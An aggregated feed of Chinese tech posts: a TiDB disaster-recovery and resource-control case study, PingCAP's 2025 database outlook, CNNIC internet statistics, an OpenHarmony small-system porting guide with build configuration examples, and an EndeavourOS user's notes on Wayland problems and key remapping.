  3. 运维管理更加方便,只需要管理 TiDB;
  4. 特征数据时效提升:基于数据源实时计算;
  5. 开发简单了,交付周期大幅缩减:从 7 天降至 3 天;
  6. 资源成本降低 50%:资源就只用了 TiDB,所以资源成本也会降低很多。

数禾特征运维实践

数禾特征集群的容灾架构

正因为特征集群的重要性,所以我们需要考虑 TiDB 的容灾方案。在选择容灾方案时,综合考虑了成本、可用性、数据一致性及性能等因素,最终确定了一套既满足业务需求又具备高性价比的方案,即将 TiDB 的 TiKV 和 PD 组件分别部署在三个可用区,利用 TiDB 自身的 Raft 协议实现高可用性。当一个可用区出现故障时,系统能够自动切换到其他可用区,无需人工干预,RPO(恢复点目标)为零,自动恢复时间小于一分钟。同时,三个可用区的资源都能充分利用,避免了资源浪费,也符合公司对成本效益的期望。我们也对特征场景进行了全面的性能测试,选择了复杂的查询场景,涵盖多表 join 等高难度操作,性能表现也比较满意。

数禾特征集群的容灾架构

数禾 TiDB 资源管控实践

目前,数禾的一些应用都在往 TiDB 上面迁移。在资源管控方面,我们目前也在集群内部,通过连接不同的 SLB(服务器负载均衡器),并在 SLB 上挂载不同的 TiDB 节点,实现了计算资源的隔离。同时,我们还为每个应用配置了不同的资源单元(RU),根据应用的特点进行资源分配。RU 的优势在于,当出现突发流量时,我们能够迅速识别出哪个应用的 RU 上涨,从而为资源管理和账目核对提供了极大的便利。

 数禾 TiDB 资源管控实践

数禾 TiDB 新特性实践

  1. 应用端自动 kill

在当前架构中,特征计算和调用都依赖于 TiDB,这使得两者在资源上存在耦合。如果线上查询中出现复杂查询导致响应变慢,将直接影响客户端调用的响应速度。为了解决这一问题,我们在应用端实施了自动 kill 策略。具体来说,在应用的 URL 中设置了查询超时时间,当 SQL 执行时间超过 300 毫秒时,系统会自动终止查询,从而避免长时间运行的查询对客户端调用造成影响。

  1. 熔断功能

我们还引入了熔断机制来进一步保障系统的稳定性。例如,如果在过去五分钟内,某条 SQL 执行了 1000 次,其中有 100 次执行时间超过了预设的阈值,系统会判断这条 SQL 存在问题,并自动将其熔断,直接返回错误信息而不进行计算。这样可以防止因单个特征计算的问题导致其他特征调用受到影响, 确保整体系统的稳定运行

  1. 运维平台

我们定期采集 TiDB 集群的相关元数据和血缘关系,并将其统一展示在运维平台上。这为运维人员提供了全面的监控和管理视图。未来,我们计划进一步扩展运维平台的功能,包括实现自动扩缩容和 SQL 熔断功能,以提升运维的自动化和智能化水平,更好地支持业务的高效运行。

数禾对 TiDB 的期待与计划

TiDB v8.5 稳定性提升

TiDB v8.5 在稳定性方面还是下了很大功夫的,对于数禾来说,我们会比较关注以下这些新特性:

  1. TiKV MVCC 内存引擎:当我们对一张表删除大量数据过后,返回就会很慢,而这个功能对我们的响应时间应该会有很大提升;
  2. 默认允许将默认允许将 Projection 算子下推到存储引擎;
  3. 统计信息收集忽略不必要的列;
  4. 支持为资源管控的后台任务设置资源使用上限:这个对线上的稳定性有很大的提升。

对 TiDB 演进方向的期待

  1. 支持冷热存储,冷存接入 OSS;
  2. 数据备份恢复支持到表级别;
  3. TiCDC 支持同步至 ADB,支持更改库表名;
  4. SQL 洞察功能。

数禾 TiDB 后续计划

  1. 超过 50G 的大表,推动开发逐步迁移至 TiDB;
  2. 尝试使用 TiFlash,将一些偏分析型的业务迁移至 TiDB。

总结:数禾选择 TiDB 的理由

选择 TiDB 的理由

在选择分布式数据库的过程中,除了产品力本身,社区活跃度是一个至关重要的考量因素。数禾科技在打磨自身产品后,具备了获客和风控等多方面的技术优势,我们也希望通过技术输出,让下游客户也能掌握这些能力。因此,我们希望客户对所使用的数据库有一定了解,在遇到问题时能够自主排查和解决。TiDB 社区的活跃氛围为我们提供了这样的支持,丰富的技术交流和分享,使得客户能够更好地理解和使用 TiDB,增强了我们选择它的信心。

与此同时,分布式数据库作为一种先进且复杂的技术,难免会存在一些问题。在使用 TiDB 获得性能提升和功能优化的同时,我们也应以包容的心态面对它带来的挑战,与 TiDB 社区携手共进,积极参与到技术讨论和问题解决中,共同推动 TiDB 的发展和完善。最终,那些敢于拥抱新技术、勇于面对挑战的企业和个人,必将从中获得更大的收益,数禾科技也将持续受益于这种与社区共同成长的历程。

by PingCAP at January 17, 2025 07:14 AM

黄东旭:2025 数据库技术展望

本文首发于 CSDN,作者黄东旭,PingCAP 联合创始人兼 CTO

又到了一年一度的数据库行业总结的时间,2024 年其实并不算数据库技术的大年, 倒反而是 AI + 数据相关的应用开始蓬勃发展,但数据库内核技术也并不是没有进步,在对云基础设施的使用已经开始变成行业的共识,下面就集中写一下我今年的一些观察。

Data + AI, forget the debate let’s build something useful!

当然了,这两年 IT 世界最大的变化一定是 GenAI 带来的。

距离 ChatGPT 惊艳的发布已经过去 2 年,现在开发者社区对于 GenAI 的态度大概分两派:

  • 一派是 Scaling Law 的忠实信徒 ,在朝着更强的模型和 AGI 的目标前进。
  • 另一派是 实用主义者 ,接受现在 LLM 的现状,思考如何利用数据和 Agent 做一些有用的东西。

我个人是属于后者,在这个方向上今年大热的方案自然是 RAG ,其实这个选择也很自然,目前的 LLM 有以下的限制:

  • LLM 的 Context Window( 上下文窗口 ) 有限,不可能回答每个问题都将完整的知识库放到 LLM 的 Context Window 中。
  • Transformer 的注意力机制本身有产生幻觉的可能性,需要一些机制对 LLM 的回答进行校验。

去年和更早的时期,大家对于制作特定领域服务的 LLM App 通常的方案是对模型进行 Finetune( 微调 ),但是 Finetune 的问题是,就像合金一样,你很难精确地控制配方,而且为了 Finetune 准备的数据到底多少才能精准影响某个问题的回答?这个并没有标准答案。并且 Finetune 通常也需要价值不菲的硬件和以天为单位的等待时间,这很不利于迭代。

不过万幸的是,过去这一年,基础模型( 尤其是开源模型 )的能力进步很快,例如 Llama3、Qwen、Mistral 等开源模型的能力已经基本超越 GPT-3.5,接近 GPT-4 的能力,另外开源模型的 Context Window 也越来越大,已经出现 32k 甚至更大的上下文空间,这些进步让 RAG 变成越来越合理的选择。

另一方面,RAG 也在发展,从最朴素的向量索引+LLM,到现在的 GraphRAG/LlamaParse [1] 。其实核心的思想就是:对于给定的问题,能够在数据库中尽可能召回与这个问题最相关的上下文。

这个召回出来的上下文直接决定了 RAG 回答这个问题的质量,其实 LLM 在其中只是起到一个阅读理解的作用,关键还是数据的质量,以及召回的精度。这就意味着: RAG 事实上是一个更接近数据处理/数据库的生意,而不是一个 AI 的生意。

RAG 给数据基础设施带来哪些新的需求呢?有几个东西是必须的:

  • 向量索引,2025 年,主流的数据库都会支持向量索引类型,单独的向量数据库的市场增长会停滞。
  • 一站式,多模态的数据库解决方案会越发流行。

为什么?我从去年开始就一直强调: 向量数据库是个很奇怪的东西 。从数据库开发者的角度来看,向量只是一种索引类型,你真正需要的是根据向量索引检索你的数据,过去传统的数据库没有向量索引是因为没有足够需求,于是在 AI 的 workload 开始爆发,向量搜索变成强需求的时候,就有了“向量数据库”这个 workaround,但是随着这个需求被确认,主流数据库跟进的速度是很快的,毕竟更高的门槛是“做好一个数据库”。

一站式的数据方案会流行是因为:只有向量搜索并不够,随着业界对 RAG 的实践越来越深,大家发现朴素的只检索 Embedding 的召回率和准确率都不够,需要其它的检索方式进行补充。例如我们自己的例子:tidb.ai,同时使用了全文检索+Graph+向量,对这些检索结果再进行 Rerank 找到最相关的再送给 LLM。这里的挑战是多种数据技术栈带来的易用性和数据同步的挑战,如果能在一个数据库完成这些查询,为什么我要请求多个数据库?

说完 AI 对数据库的新需求,来说说数据库内核技术的一些趋势。

数据库内核技术趋势

S3 正在变成新的磁盘

从 3 年前开始构建 TiDB Serverless 开始,我就开始惊艳于 S3 简洁和扩展性,并对 S3 在未来成为新一代数据库的基石深信不疑,如果说 3 年前“S3 is the new disk”是个猜想,那么现在看来已经成为了行业共识。今年 re:Invent 上 AWS CEO Matt Garman 分享了一些关于 S3 的数字:

关于 S3 的数字

充分说明了 S3 已经不是仅仅是 AWS 的一条产品线,更是成为整个社会的重要基础设施,而且 Too big to fail,这对于基础设施来说是一个好消息,意味着可以被依赖。这两年新出现的数据库基本都是基于 S3 的:NeonDB、RockSet、Supabase、Databend、TiDB Serverless……S3 也是目前各种 Data lake( 数据湖 )实现的存储组件;很多基础设施的头部公司在开始收购各自领域中尝试用 S3 作为新基座的创业公司,例如 Confluent 收购 WarpStream [2] 就是一个很好的例子。

S3 用来构建数据库有几个好处:

  • 真正的弹性和 Serverless 的存储;
  • 极低的成本;
  • 可以线性扩展的吞吐(上限极其高);
  • 11 个 9 的数据可靠性,基本不用的担心数据丢失。

今年 AWS S3 也有一些新的能力:

  • S3 Metadata
  • Conditional writes (Compare and Swap)

尤其是第二个,这意味着 S3 现在可以实现安全的并发写入,这对构建数据库来说是一个重要的能力。类似事情还有很多,这些能力让构建复杂的分布式数据库变得简单很多,毕竟分布式数据库大量的代码其实是在处理底层存储的状态,尤其是异常情况的状态( 例如分布、数据复制、异常恢复等 ),将 S3 作为一个 always-on 且可扩展的基础服务,会让上层的逻辑简化很多。

而且新的架构解锁的还不仅仅是弹性和吞吐,我预期还会带来一些额外的收益,这里由于数据和篇幅问题就不展开,后续有更多数据后再开专题和大家分享。

“数据库”正在变成”数据库服务”,而分布式数据库会是其重要的底座

从 TiDB 自己在海内外客户的使用观察来看,最近这几年 TiDB Cloud 的使用量增速惊人,尤其在海外,除了一些银行或者金融机构出于合规的需求的暂时没有办法使用云以外,其他的用户更加接受云的使用,下面这张图是 TiDB Cloud 这两年的集群数的增长情况,相比两年前有了 10 倍的惊人增长。

TiDB Cloud 在过去两年的使用量趋势

TiDB Cloud 在过去两年的使用量趋势

数据库和数据库服务的区别?从用户角度看简单了很多,运维交给平台,自己可以专注在应用开发。

对于厂商来说,可能事情就没有那么简单了,构建一个云服务的复杂性不亚于做一个数据库内核。例如下面这张图其实是 TiDB Cloud 的一个系统架构的概览,很多做数据库内核不用考虑的工作在构建云平台的时候都需要考虑:比如计费,管理租户的管理,各种各样的元信息、可观测性,而且注意,所有上面这些都要考虑多租户。

TiDB Cloud 系统架构图

TiDB Cloud 系统架构图

虽然这类工作可能繁琐,但有云平台之后相比私有化部署也有明显的优势。首先,环境相对标准化,便于统一管理和维护。其次,我们能够基于这一标准化环境,构建多种自动化运维手段,例如在故障分析、故障处理以及可观测性等方面,通过自动化工具显著提高工作效率。与 OP 部署的客户环境下相比,在标准化环境下进行这些工作要更加高效,也更易于持续改进和规模化落地,我们也正在尝试使用 GenAI 来进一步提升效率,这会进一步提升利润的同时提供更好的用户体验。

还有一个挑战是,适配多个云平台。虽然我们已经尽量减少对基础云平台的依赖,但各家云服务商在 API 层面依旧存在诸多差异。此外,即使是看着相似的能力( 例如对象存储和分布式块设备 ),在不同云平台和不同机型上的表现也并不完全相同,而且不同云厂商对于安全的能力也不尽相同( 例如 VPC 的抽象或者密钥管理 ),也进一步增加了适配的难度。然而,我认为正是这类工作体现了独立数据库厂商的竞争力所在。

即便在云普及度相对有限的国内市场,我们依然在越来越大的大客户的环境中看到类似的需求:他们 希望借助统一的数据库管理平台,尽可能隐藏数据库底层的复杂细节,从而让业务层专注于核心功能的开发与迭代

除此之外,背后隐藏的另一个重要原因是成本,这几年国内轰轰烈烈的数据库国产替代已经进入收敛阶段,其实大家发现 替换成国产数据库并不省钱,而且靠谱的国产数据库厂商大多选择了分布式的路线 ,但是如果按照以前『一个应用一个库』的方式进行替代是不现实的,因为很多应用本身不大,分配一个完整的分布式数据库集群肯定是过犹不及,当然你可以说也可以用国产的单机数据库,但事实上很多业务的数据库分配给它 1 个 CPU 都算多余,但是又不能停,即使通过容器做资源切分,积少成多也会造成大量的浪费,更不用说为每个单机数据库都需要配置主备高可用的成本。

在我看来,解决之道是: 数据库多租户的实现不仅要关注物理层面的隔离,更需要在逻辑层面引入一套完善的 Flow Control( 流控 )机制 。具体而言,让高优先级的用户、表、库的访问优先获得资源;但是同时对低优先级的应用可以贡献资源并设置上限以保证硬件资源冲突的时候优先保证高优先级应用。

这种思路与传统的“单一实例 - 单一应用”模式存在本质差异,后者通常会为不同应用分别分配数据库实例,以求最大化地避免竞争。然而,随着数据库规模和需求场景的不断扩张,单纯依靠物理隔离不仅资源利用率不高,而且极易造成分布碎片化。通过在逻辑层面引入流控策略,数据库就可以在多租户环境下实现更精细化的资源管理。高优先级任务不会被低优先级任务“抢占”,而低优先级任务则依旧能够在空闲资源下正常运转,从而在总体上提高资源利用率并保障关键业务的连续性与高可用。

这也是 TiDB 在 v7 引入的 Resource Control 机制的核心思想,也是 TiDB 强调的“真正的”多租户的技术基础,而且这个能力只有分布式数据库才能够提供,毕竟只有分布式数据库才能对大量的硬件资源有全局视角以及调度能力。

但是与做公共的 DBaaS 不一样,企业客户强调的不是租户的概念,更多的是多应用或者多集群的概念,更加强调多集群运维能力以及的与具体应用关联的数据库可观测性。在 2025 年,我们会发布新一代的可视化 TiDB Management Tool:TEM ,不同于已有的 Dashboard,这个工具面向的是企业级多集群管理的场景设计,目前已经在一些超大规模的 TiDB 客户中得到了初步的验证,也收获了不少好评,大家可以期待一下。

不只是数据量,而是下一代的扩展性

另外,这种集中化的趋势也对分布式数据库的扩展性和稳定性提出了更高的要求,我想起今年 TiDB 好几个大客户都提出了:TiDB 是否能支持创建百万甚至上千万表、库?当时听到这个需求我还是挺诧异的,后来仔细了解了一下,发现确实是个真需求:因为对于很多 SaaS 应用来说,最简单自然的开发方式就是针对每一个租户创建自己应用的表、库,只访问自己租户内部的数据,这样对于新来的客户,只需要简单的复制粘贴就可以了,这样做的好处不必赘述,但是对数据库就有了更多的挑战。

通常我们说的扩展性只关注数据量和吞吐,但是经过那么多客户真实场景的教育,我渐渐理解到 当我们谈论扩展性时,实际会有很多维度 ,例如:能保持的连接数,支持的表库数量,后台任务( 例如 DDL )的扩展性,导入导出和 CDC 任务的速度和吞吐,多租户下的可观测性和运维性等等。这些都与扩展性相关但是又常常被数据库内核开发者忽略,但是真实世界的扩展性又是满足木桶效应:你的能力取决于你最短的那一块。于是从 TiDB v7 到 v8,我们在扩展性的这些不容易被人看见,但是又实实在在大家都会遇到的问题做了 很多工作 ,例如:支持超过百万的表库数量、支持 PB 以上的数据规模、针对多集群的管理工具等。

这些工作看起来不 Fancy,但我相信这是 TiDB 要支撑下一个量级规模必须打下的基础,相信 TiDB 老用户们一定有感觉:TiDB 越来越稳定了,其实这种感觉正是一个个这些不起眼的优化带来的质变。

从开发者的角度,有什么新的变化?

一句话来说,根据我的观察,今天的开发者是越来越「傻瓜」了。 今年随着 Cursor 的普及,我感觉我又能重新写代码了! 作为一个前系统工程师,我曾经对这种无脑上 Python 的趋势是嗤之以鼻的,但是真的动手做了几个项目以后,发现确实真香。尤其在一些对于性能要求不高的场景( 毕竟 AI 一个个吐字的才是性能瓶颈 ),Python 完全够用,AI 生态的亲缘性加上完善的第三方库,整体的开发体验很流畅。另外当代 Python 的类型标注( 虽然是假的 )和越来越完善的第三方包管理工具,让开发中型应用也不至于代码腐化得太快。

而且对于数据库的访问也被各种 ORM 和开发框架层层封装, 就小型应用而言,直接写 SQL 的场合其实已经不多,Pydantic 已经有点一统江湖的趋势 。尤其是 AI 应用开发更关注的是数据本身,而非数据的存储和管理方式,大家希望直接通过简单的 API 访问所需的数据,而不是处理繁琐的数据库连接、查询优化或索引管理。例如, 向量搜索 API 或 RAG 服务已经逐渐成为演变成开发者可以直接通过 RESTful API 或 GraphQL 获取上下文数据 ,而不需要理解底层的数据库逻辑,这个和上面的数据库云化的趋势是不谋而合的。

未来的数据库平台对于用户的数据可能在 SQL 之外,也会提供 API 形式的访问( 公开或非公开的 ),其实现在已经开始出现一些标准化趋势,尤其是针对 AI 应用的数据需求:

  • 场景化 API :开发者可以通过一个 API 获取特定场景下的数据集。例如,某些平台提供“针对法律问题优化的检索 API”或“为医疗领域定制的诊断数据 API”。
  • 智能化 API :Data API 不再仅仅是简单的查询接口,还可以提供实时增强、推荐等功能。例如,通过查询 API,可以直接返回优化后的上下文,甚至包含初步的模型推理结果。

从开发者的角度来看,这种转变意味着:

  • 更低的上手成本 :开发者可以直接调用服务完成复杂的数据检索,而无需学习复杂的数据库系统。
  • 更快的开发周期 :数据服务将大幅简化数据处理流程,开发者可以将更多精力集中在应用逻辑和模型优化上。
  • 生态系统的协同效应 :数据服务通过标准化的 API 和 SDK,可以轻松接入各种 AI 工具链(如 LLM、RAG 引擎、AutoML 框架)。

其实今年在 TiDB Serverless 的产品线中,我们也提供了 Data API 的能力,让数据库访问通过 RESTful API 进行,也是顺应这个潮流做的特性。

结语

写了那么多,还是有很多没有覆盖的,但是那么多工作也不可能和大家一一分享,但是也想代表所有的 TiDB 用户对这些工作背后的同事道一声感谢。回看一下,2025 年是我们创业的第十个年头,也是距离写下 TiDB 的第一行代码的第十年。我也从一个二十来岁的愣头青变成了一个中年大叔,要说这两年的变化,大约就是更有耐心也更沉默,开始习惯用做的事情和成绩来回应这个世界,同时对越来越多的人和事情发自内心的感激。

随着对于基础软件这个生意的理解越来越深,也越觉得这是一个长期的工作,我们也就才刚刚上路。就像一场马拉松,很多事情着急也没用,很多弯路必然要走,很多学费也必然要交,这就是我们这代人的责任。尤其在这个浮躁内卷的大环境下,如果用一个百米冲刺的姿态来看待竞争和产品,反而不是最优解。如果从更长期的视角来看,我始终相信: 新技术打败旧技术,简单的产品打败复杂的产品,先进的商业模式打败陈旧的商业模式,美的打败丑的 。 最后分享一句我很喜欢的道德经中的话,作为本文的结语给大家共勉:

曲则全,枉则直,洼则盈,敝则新,少则得,多则惑。是以圣人抱一为天下式。不自见,故明;不自是,故彰,不自伐,故有功;不自矜,故长。夫唯不争,故天下莫能与之争。

新年快乐。

相关资料:

[1] github.com/run-llama/l…

[2] www.warpstream.com/

by PingCAP at January 17, 2025 07:12 AM

oschina news industry

中国网民规模达 11.08 亿人,互联网普及率升至 78.6%

中国互联网络信息中心(CNNIC)发布第55次《中国互联网络发展状况统计报告》(简称《报告》)。《报告》显示,截至2024年12月,中国网民规模达11.08亿人,互联网普及率升至78.6%。

报告显示,2024年是我国全功能接入国际互联网30周年。30年间,我国互联网实现了从无到有、从小到大、从大到强的跨越式发展,建成了全球规模最大、技术领先的互联网基础设施,创造了快速发展、成效显著的数字经济,形成了兼容并包、极富活力的网民群体。

2024年生成式人工智能相关产业快速发展,新业态、新应用持续涌现,为经济社会的发展注入了强劲动能。

  • 用户端应用带来智能化便捷体验。截至12月,我国有3.31亿人表示自己听说过生成式人工智能产品,占整体人口的23.5%;有2.49亿人表示自己使用过生成式人工智能产品,占整体人口的17.7%。在生成式人工智能用户中,利用生成式人工智能产品回答问题的用户最为广泛,占比达77.6%;将生成式人工智能产品作为办公助手的用户占比达45.5%。
  • 产业端应用赋能千行百业智能化升级。生成式人工智能技术在各领域的应用成果“百花齐放”,其中文艺创作、网络营销、软件工程等领域将生成式人工智能作为日常工作主要工具之一;法律咨询、智慧诊疗、线上客服和智能机器人等领域,基于生成式人工智能技术的“智能助手”已经十分常见;生成式人工智能通过对传统产业生产制造全流程、全要素、各环节的赋能改造,能够实现提质增效和降本降耗。

by 来源: OSCHINA at January 17, 2025 07:11 AM

juejin backend

OpenHarmony(鸿蒙南向开发)——小型系统芯片移植指南(一)

移植须知

本文详细介绍如何将OpenHarmony小型系统的linux和LiteOS-A内核移植到新的开发板上,要求读者具有一定的嵌入式系统开发经验。建议先查看 入门指导 ,以了解OpenHarmony软件架构、目录结构、内核子系统和驱动子系统相关知识。当前小型系统已适配的开发板如下表所示:

表1 OpenHarmony小型系统已适配的开发板

开发板内核archROMRAM文件系统Flash 类型
hispark_taurusLiteOS-A和linux-4.19ARM cortex-a78G1GBVFAT、EXT4eMMC4.5
hispark_ariesLiteOS-AARM cortex-a716M512MJFFS2SPI NOR

表1中的开发板可作为待移植开发板的参考,当前LiteOS-A和linux-4.19支持的arch、ROM占用、支持的文件系统和支持的Flash类型如下表所示:

表2 OpenHarmony小型系统内核移植信息表

内核支持的archROM文件系统Flash类型
LiteOS-AARMv7> 2MVFAT、JFFS2、YAFFS2SPI NOR、NAND、EMMC
linux-4.19ARM, ARM64、 MIPS、 X86等> 5MVFAT、JFFS2、YAFFS、EXT/2/3/4、NFS等等NOR、NAND、EMMC等

编译构建

编译环境搭建

首先请搭建OpenHarmony基础环境,相关操作请参考 快速入门环境搭建章节 。用户态和LiteOS-A的内核态编译均使用llvm编译器编译,安装方法在搭建基础环境中已提供。若选择移植linux内核,请执行如下命令安装gcc-arm-linux-gnueabi交叉编译工具链,用于编译linux内核态镜像:

sudo apt-get install gcc-arm-linux-gnueabi

编译构建系统介绍

编译构建流程、编译脚本编写、目录规则、独立编译单个组件、独立编译芯片解决方案等介绍请见 编译构建子系统介绍。

新建芯片解决方案

了解编译框架和搭建完编译环境后,请参考如下步骤新建芯片解决方案:

  1. 新建目录

芯片解决方案的目录规则为:device/{芯片解决方案厂商}/{开发板}。以海思的hispark_taurus开发板为例,在代码根目录执行如下命令建立目录:

    mkdir -p device/hisilicon/hispark_taurus
<textarea id="copy1722420153718" style="color: inherit; font: inherit; position: absolute; top: -9999px; left: -9999px; z-index: -9999;"></textarea>
    device                                      
    └── company                         # 芯片解决方案厂商
        └── board                       # 开发板名称
            ├── BUILD.gn                # 编译脚本
            ├── hals                    # OS南向接口适配
            ├── linux                   # 可选,linux内核版本
            │   └── config.gni          # linux版本编译配置
            └── liteos_a                # 可选,liteos内核版本
                └── config.gni          # liteos_a版本编译配置

以hispark_taurus移植linux内核为例,目录树应该如下:

    device                  
    └── hisilicon             
        └── hispark_taurus          
            ├── BUILD.gn    
            ├── hals        
            ├── ......      
            └── linux    
                └── config.gni  

目录树建立后开发板相关的源码放到hispark_taurus目录下。

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:
1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......
  1. 配置开发板编译选项

步骤1中的config.gni可配置开发板相关的编译选项,编译构建框架将会遵照该配置文件中的参数编译所有用户态OS组件。其中关键的字段说明如下:

    kernel_type:            开发板使用的内核类型,例如:“liteos_a”, “liteos_m”, “linux”。
    kernel_version:         开发板使用的内核版本,例如:“4.19”。
    board_cpu:              开发板CPU类型,例如:“cortex-a7”, “riscv32”。
    board_arch:             开发板芯片arch, 例如: “armv7-a”, “rv32imac”。
    board_toolchain:        开发板自定义的编译工具链名称,例如:“gcc-arm-none-eabi”。若为空,则使用默认为ohos-clang。
    board_toolchain_prefix:编译工具链前缀,例如:“gcc-arm-none-eabi”。
    board_toolchain_type:  编译工具链类型,目前支持gcc和clang。例如:“gcc” ,“clang”。
    board_cflags:          开发板配置的c文件编译选项。
    board_cxx_flags:       开发板配置的cpp文件编译选项。
    board_ld_flags:        开发板配置的链接选项。

还以海思的hispark_taurus开发板为例,对应的device/hisilicon/hispark_taurus/config.gni内容如下:

    # Board CPU type, e.g. "cortex-a7", "riscv32".
    board_cpu = "cortex-a7"

    # Toolchain name used for system compiling.
    # E.g. gcc-arm-none-eabi, arm-linux-harmonyeabi-gcc, ohos-clang,  riscv32-unknown-elf.
    # Note: The default toolchain is "ohos-clang". It's not mandatory if you use the default toochain.
    board_toolchain = "mips-linux-gnu-gcc"

    # The toolchain path installed, it's not mandatory if you have added toolchain path to your ~/.bashrc.
    board_toolchain_path = 
        rebase_path("//prebuilts/gcc/linux-x86/arm/arm-linux-ohoseabi-gcc/bin",
                    root_build_dir)

    # Compiler prefix.
    board_toolchain_prefix = "arm-linux-ohoseabi-"

    # Compiler type, "gcc" or "clang".
    board_toolchain_type = "gcc"

    # Board related common compile flags.
    board_cflags = [
    ]
    board_cxx_flags = [
    ]
    board_ld_flags = []

    # Board related headfiles search path.
    board_include_dirs = []
    board_include_dirs += [ rebase_path(
            "//prebuilts/gcc/linux-x86/arm/arm-linux-ohoseabi-gcc/target/usr/include",
            root_build_dir) ]

    # Board adapter dir for OHOS components.
    board_adapter_dir = ""

    # Sysroot path.
    board_configed_sysroot = ""

    # Board storage type, it used for file system generation.
    storage_type = "emmc"
  1. 编写开发板编译脚本

步骤1中的BUILD.gn为新增的开发板的编译入口,主要用于编译开发板相关的代码,主要为设备侧驱动、设备侧接口适配(媒体,图形等)和开发板的SDK等等。

海思的hispark_taurus开发板的device/hisilicon/hispark_taurus/BUILD.gn可写成:

    # group名称建议与开发板名称一致
    group("hispark_taurus") {   
      deps = [ "//kernel/linux/patches:linux_kernel" ] # 拉起内核编译
      deps += [
      ...... # 开发板其他编译单元
      ]
    }
  1. 编译调试

在开发板目录下执行hb sethb build即可启动芯片解决方案的编译,编译框架会以开发板下的BUILD.gn为入口启动编译。

by 塞尔维亚大汉 at January 17, 2025 07:00 AM

juejin freebie

Endeavouros体验踩坑

前言

arch的中文百科,很多时候能派上用场,或者善用bing和AI。
wiki.archlinuxcn.org/wiki/Waylan…
下面这是我用的系统。
endeavouros.com/

劝退

  1. 如果对linux没有执着,建议还是用windows。linux作为非商业的系统,很多软件只会出win版和mac版本。linux系统分裂,兼容性难解决,最重要的是,用户还少。GUI方面的bug,比windows只多不少。

  2. 如果对wayland没有执着,建议使用X11,使用wayland面对很多软件都有兼容性问题,而且面对一些个人开发者的软件,这些问题是无法解决的。wayland的兼容性问题不是你一个个人用户能够解决的,你只能为了wayland做自身需求的妥协。很多软件在wayland上无法设定快捷键。
    chrome我还能忍忍,因为我开浏览器就是一整天,但是vscode和cursor启动也会变慢。难以忍受。
    linux.cn/article-165…
    fcitx.cn/post/using_…
    英伟达显卡,在wayland下与才chrome发生了一些奇妙的兼容性问题,导致chrome启动异常慢,设置中找到图形加速并关掉,可以起到掩耳盗铃的作用。

性能bug

UI方面经常有透过窗口看到底下的情况,以及黑屏,花屏(比如改变窗口大小时有概率复现)等,如下图。
image 不清楚是不是显卡兼容性问题,反正问题是确实存在的。

还有一些窗口方面的问题,有时候点击任务栏某个应用,就是不弹出窗口(比如warp,有时候就出不来),或者窗口不在最顶上。

软件生态

软件生态的缺失。Adobe全家桶不支持linux,剪视频都不好剪,阿里云盘等一系列云盘不提供linux版本(百度提供了,表扬一下)。

  • 网游/还有部分单机
  • 剪视频(主流的剪辑软件PR以及国产的那些比如剪映,都没有linux版本)
  • 解压软件,linux上没办法双击解压、以及记忆密码的功能(办法可能有,估计挺麻烦),windows上我使用bandizip实现。
    还有一些压缩包以exe形式提供,虽然kde能直接解压,但是没跳出输密码的步骤,结果还是得wine。
    image

如图,卡进度了

  • 第三方软件不必多说,还有隐形的生态,搜索引擎上搜索linux的软件默认都是一些命令,找GUI程序会困难一些。

游戏

除了steam,不推荐你用wine去运行windows游戏,一旦出点问题就是纯浪费时间。

玩游戏需要套一层wine,steam还行,玩本地的游戏需要多浪费一些时间配置(可以用wine游戏助手,相对来说挺好用的),而且并不能兼容所有的游戏。
image

这个页面出来就要等个半天,我等了一个多小时后实在等不下去了。

双击点开exe,大概率跳出更新配置 image 运行wine游戏卡住后,拖动任务管理器变成这个样子。
image

网游尤其是腾讯系,就别想了,老老实实windows。
4399就更别想了。
玩玩steam是最省心的,毕竟商业公司。

理念

  1. 实用主义,能一行命令解决的不用两行命令,能直接安装的不从源码编译。开源一定是优点,闭源不算很大的缺点,如果闭源软件表现更优异,我会毫不犹豫地使用闭源软件。
  2. 符合个人直观感受,比如我青睐于键鼠,而不是纯键盘。
  3. 基于以上观点,能用热门的软件就不要用冷门的软件,热门的软件总是能找到更多的解决方案。

基础设施

蓝牙故障

不知为何,我在gui中打不开蓝牙,于是连不上鼠标。
使用如下命令,开机自启蓝牙。

systemctl enable bluetooth
# 立即启动蓝牙服务
systemctl start bluetooth

按键映射(X11)

用笔记本时会用到这个功能。
在我的笔记本上,f12是数字锁,而这个功能我从来不用,却让我f12时需要按fn+f12两个键(我的笔记本不支持fn切换,他只能用组合键)。

yay -S xorg-xev
xev

会出现一个窗口,不必管他,按下要映射的按键,会出现提示。
我们要用到keycode,将其记下来,这个数字就代表这个按键。
如果怕看错了就多按几下,重复的肯定就是自己按的键了(没啥必要)。
image 以上是我的笔记本的f12按键,他默认映射数字锁。
先查一下f12的映射。

xmodmap -pke| grep -i f12

输出如下:

keycode  96 = F12 F12 F12 F12 F12 F12 XF86Switch_VT_12

只需把等号右侧的记住即可(按复制)。

micro ~/.Xmodmap

输入下面的,保存即可。

xmodmap ~/.Xmodmap
keycode 77 = F12 F12 F12 F12 F12 F12 XF86Switch_VT_12

按键映射(Wayland和X11通用)

没错,上面的配置只对X11桌面有效,而我们用的是wayland(KWin)
wiki.archlinux.org/title/Input…
www.v2ex.com/t/875994
github.com/rvaiya/keyd
arch的百科里面,有提到如何修改按键映射。
arch可以使用yay直接安装keyd

git clone https://github.com/rvaiya/keyd
cd keyd
make && sudo make install
sudo systemctl enable --now keyd

使用下面的命令可以监听按键。

sudo keyd monitor
AT Translated Set 2 keyboard    0001:0001:700355d0      numlock down
AT Translated Set 2 keyboard    0001:0001:700355d0      numlock up
# 查看如何配置
man keyd
sudo micro /etc/keyd/default.conf

layer表示一种状态,比如按住ctrl。
id表示限制设备,id用星号就是全部键盘都这样映射。
image

[ids]
*

[main]
numlock = f12
sudo keyd reload

shell

bash用起来不是那么地智能,比如按tab不会切换文件(而powershell都有这个功能)
这在文件名是中文的情况下,会降低效率。
安装zsh

yay -S zsh

www.haoyep.com/posts/zsh-c…
